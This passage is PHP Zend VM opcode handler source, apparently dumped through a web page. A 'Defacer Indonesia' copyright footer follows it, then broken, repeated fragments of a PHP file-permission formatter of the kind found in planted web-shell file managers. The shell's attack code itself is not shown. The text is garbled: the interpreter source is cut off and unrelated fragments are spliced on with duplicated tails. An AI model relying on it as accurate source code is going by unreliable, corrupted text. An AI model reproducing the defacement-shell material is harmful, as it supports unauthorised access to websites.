1; } break; case ZEND_ISEMPTY: if (offset->value.lval >= 0 && offset->value.lval < Z_STRLEN_PP(container) && Z_STRVAL_PP(container)[offset->value.lval] != '0') { result = 1; } break; } } FREE_OP2(); } else { FREE_OP2(); } } Z_TYPE(EX_T(opline->result.u.var).tmp_var) = IS_BOOL; switch (opline->extended_value) { case ZEND_ISSET: Z_LVAL(EX_T(opline->result.u.var).tmp_var) = result; break; case ZEND_ISEMPTY: Z_LVAL(EX_T(opline->result.u.var).tmp_var) = !result; break; } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(115, ZEND_ISSET_ISEMPTY_DIM_OBJ, VAR|UNUSED|CV, CONST|TMP|VAR|CV) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_isset_isempty_dim_prop_obj_handler, prop_dim, 0); } ZEND_VM_HANDLER(148, ZEND_ISSET_ISEMPTY_PROP_OBJ, VAR|UNUSED|CV, CONST|TMP|VAR|CV) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_isset_isempty_dim_prop_obj_handler, prop_dim, 1); } ZEND_VM_HANDLER(79, ZEND_EXIT, CONST|TMP|VAR|UNUSED|CV, ANY) { #if !defined(ZEND_VM_SPEC) || (OP1_TYPE != IS_UNUSED) zend_op *opline = EX(opline); if (OP1_TYPE != IS_UNUSED) { zend_free_op free_op1; zval *ptr = GET_OP1_ZVAL_PTR(BP_VAR_R); if (Z_TYPE_P(ptr) == IS_LONG) { EG(exit_status) = Z_LVAL_P(ptr); } else { zend_print_variable(ptr); } FREE_OP1(); } #endif zend_bailout(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(57, ZEND_BEGIN_SILENCE, ANY, ANY) { zend_op *opline = EX(opline); Z_LVAL(EX_T(opline->result.u.var).tmp_var) = EG(error_reporting); Z_TYPE(EX_T(opline->result.u.var).tmp_var) = IS_LONG; /* shouldn't be necessary */ if (EX(old_error_reporting) == NULL) { EX(old_error_reporting) = &EX_T(opline->result.u.var).tmp_var; } if (EG(error_reporting)) { zend_alter_ini_entry_ex("error_reporting", sizeof("error_reporting"), "0", 1, ZEND_INI_USER, ZEND_INI_STAGE_RUNTIME, 1); } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(142, ZEND_RAISE_ABSTRACT_ERROR, ANY, ANY) { zend_error_noreturn(E_ERROR, "Cannot call abstract method %s::%s()", EG(scope)->name, EX(op_array)->function_name); ZEND_VM_NEXT_OPCODE(); /* Never reached */ } ZEND_VM_HANDLER(58, ZEND_END_SILENCE, TMP, ANY) { zend_op *opline = EX(opline); zval restored_error_reporting; if (!EG(error_reporting) && Z_LVAL(EX_T(opline->op1.u.var).tmp_var) != 0) { Z_TYPE(restored_error_reporting) = IS_LONG; Z_LVAL(restored_error_reporting) = Z_LVAL(EX_T(opline->op1.u.var).tmp_var); convert_to_string(&restored_error_reporting); zend_alter_ini_entry_ex("error_reporting", sizeof("error_reporting"), Z_STRVAL(restored_error_reporting), Z_STRLEN(restored_error_reporting), ZEND_INI_USER, ZEND_INI_STAGE_RUNTIME, 1); zendi_zval_dtor(restored_error_reporting); } if (EX(old_error_reporting) == &EX_T(opline->op1.u.var).tmp_var) { EX(old_error_reporting) = NULL; } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(22, ZEND_QM_ASSIGN, CONST|TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; zval *value = GET_OP1_ZVAL_PTR(BP_VAR_R); EX_T(opline->result.u.var).tmp_var = *value; if (!IS_OP1_TMP_FREE()) { zval_copy_ctor(&EX_T(opline->result.u.var).tmp_var); } FREE_OP1_IF_VAR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(101, ZEND_EXT_STMT, ANY, ANY) { if (!EG(no_extensions)) { zend_llist_apply_with_argument(&zend_extensions, (llist_apply_with_arg_func_t) zend_extension_statement_handler, EX(op_array) TSRMLS_CC); } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(102, ZEND_EXT_FCALL_BEGIN, ANY, ANY) { if (!EG(no_extensions)) { zend_llist_apply_with_argument(&zend_extensions, (llist_apply_with_arg_func_t) zend_extension_fcall_begin_handler, EX(op_array) TSRMLS_CC); } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(103, ZEND_EXT_FCALL_END, ANY, ANY) { if (!EG(no_extensions)) { zend_llist_apply_with_argument(&zend_extensions, (llist_apply_with_arg_func_t) zend_extension_fcall_end_handler, EX(op_array) TSRMLS_CC); } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(139, ZEND_DECLARE_CLASS, ANY, ANY) { zend_op *opline = EX(opline); EX_T(opline->result.u.var).class_entry = do_bind_class(opline, EG(class_table), 0 TSRMLS_CC); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(140, ZEND_DECLARE_INHERITED_CLASS, ANY, ANY) { zend_op *opline = EX(opline); EX_T(opline->result.u.var).class_entry = do_bind_inherited_class(opline, EG(class_table), EX_T(opline->extended_value).class_entry, 0 TSRMLS_CC); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(141, ZEND_DECLARE_FUNCTION, ANY, ANY) { do_bind_function(EX(opline), EG(function_table), 0); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(105, ZEND_TICKS, CONST, ANY) { zend_op *opline = EX(opline); if (++EG(ticks_count)>=Z_LVAL(opline->op1.u.constant)) { EG(ticks_count)=0; if (zend_ticks_function) { zend_ticks_function(Z_LVAL(opline->op1.u.constant)); } } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(138, ZEND_INSTANCEOF, TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; zval *expr = GET_OP1_ZVAL_PTR(BP_VAR_R); zend_bool result; if (Z_TYPE_P(expr) == IS_OBJECT && Z_OBJ_HT_P(expr)->get_class_entry) { result = instanceof_function(Z_OBJCE_P(expr), EX_T(opline->op2.u.var).class_entry TSRMLS_CC); } else { result = 0; } ZVAL_BOOL(&EX_T(opline->result.u.var).tmp_var, result); FREE_OP1(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(104, ZEND_EXT_NOP, ANY, ANY) { ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(0, ZEND_NOP, ANY, ANY) { ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(144, ZEND_ADD_INTERFACE, ANY, ANY) { zend_op *opline = EX(opline); zend_class_entry *ce = EX_T(opline->op1.u.var).class_entry; zend_class_entry *iface = EX_T(opline->op2.u.var).class_entry; if (!(iface->ce_flags & ZEND_ACC_INTERFACE)) { zend_error_noreturn(E_ERROR, "%s cannot implement %s - it is not an interface", ce->name, iface->name); } zend_do_implement_interface(ce, iface TSRMLS_CC); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(149, ZEND_HANDLE_EXCEPTION, ANY, ANY) { zend_uint op_num = EG(opline_before_exception)-EG(active_op_array)->opcodes; int i; zend_uint catch_op_num; int catched = 0; zval **stack_zval_pp; zval restored_error_reporting; stack_zval_pp = (zval **) EG(argument_stack).top_element - 1; while (*stack_zval_pp != NULL) { zval_ptr_dtor(stack_zval_pp); EG(argument_stack).top_element--; EG(argument_stack).top--; stack_zval_pp--; } for (i=0; i<EG(active_op_array)->last_try_catch; i++) { if (EG(active_op_array)->try_catch_array[i].try_op > op_num) { /* further blocks will not be relevant... */ break; } if (op_num >= EG(active_op_array)->try_catch_array[i].try_op && op_num < EG(active_op_array)->try_catch_array[i].catch_op) { catch_op_num = EX(op_array)->try_catch_array[i].catch_op; catched = 1; } } while (EX(fbc)) { zend_op *ctor_opline = (zend_op*)zend_ptr_stack_pop(&EG(arg_types_stack)); if (EX(object)) { if (ctor_opline && RETURN_VALUE_USED(ctor_opline)) { EX(object)->refcount--; } zval_ptr_dtor(&EX(object)); } zend_arg_types_stack_2_pop(&EG(arg_types_stack), &EX(object), &EX(fbc)); } for (i=0; i<EX(op_array)->last_brk_cont; i++) { if (EX(op_array)->brk_cont_array[i].start < 0) { continue; } else if (EX(op_array)->brk_cont_array[i].start > op_num) { /* further blocks will not be relevant... */ break; } else if (op_num < EX(op_array)->brk_cont_array[i].brk) { if (!catched || catch_op_num >= EX(op_array)->brk_cont_array[i].brk) { zend_op *brk_opline = &EX(op_array)->opcodes[EX(op_array)->brk_cont_array[i].brk]; switch (brk_opline->opcode) { case ZEND_SWITCH_FREE: zend_switch_free(brk_opline, EX(Ts) TSRMLS_CC); break; case ZEND_FREE: zendi_zval_dtor(EX_T(brk_opline->op1.u.var).tmp_var); break; } } } } /* restore previous error_reporting value */ if (!EG(error_reporting) && EX(old_error_reporting) != NULL && Z_LVAL_P(EX(old_error_reporting)) != 0) { Z_TYPE(restored_error_reporting) = IS_LONG; Z_LVAL(restored_error_reporting) = Z_LVAL_P(EX(old_error_reporting)); convert_to_string(&restored_error_reporting); zend_alter_ini_entry_ex("error_reporting", sizeof("error_reporting"), Z_STRVAL(restored_error_reporting), Z_STRLEN(restored_error_reporting), ZEND_INI_USER, ZEND_INI_STAGE_RUNTIME, 1); zendi_zval_dtor(restored_error_reporting); } EX(old_error_reporting) = NULL; if (!catched) { ZEND_VM_RETURN_FROM_EXECUTE_LOOP(); } else { ZEND_VM_SET_OPCODE(&EX(op_array)->opcodes[catch_op_num]); ZEND_VM_CONTINUE(); } } ZEND_VM_HANDLER(146, ZEND_VERIFY_ABSTRACT_CLASS, ANY, ANY) { zend_verify_abstract_class(EX_T(EX(opline)->op1.u.var).class_entry TSRMLS_CC); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(150, ZEND_USER_OPCODE, ANY, ANY) { int ret = zend_user_opcode_handlers[EX(opline)->opcode](ZEND_OPCODE_HANDLER_ARGS_PASSTHRU_INTERNAL); switch (ret) { case ZEND_USER_OPCODE_CONTINUE: ZEND_VM_CONTINUE(); case ZEND_USER_OPCODE_RETURN: ZEND_VM_RETURN(); case ZEND_USER_OPCODE_DISPATCH: ZEND_VM_DISPATCH(EX(opline)->opcode, EX(opline)); default: ZEND_VM_DISPATCH(ret & 0xff, EX(opline)); } } ZEND_VM_EXPORT_HELPER(zend_do_fcall, zend_do_fcall_common_helper) Copyright ©2021 || Defacer Indonesia nfo .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> )); return $info; } ?> ?>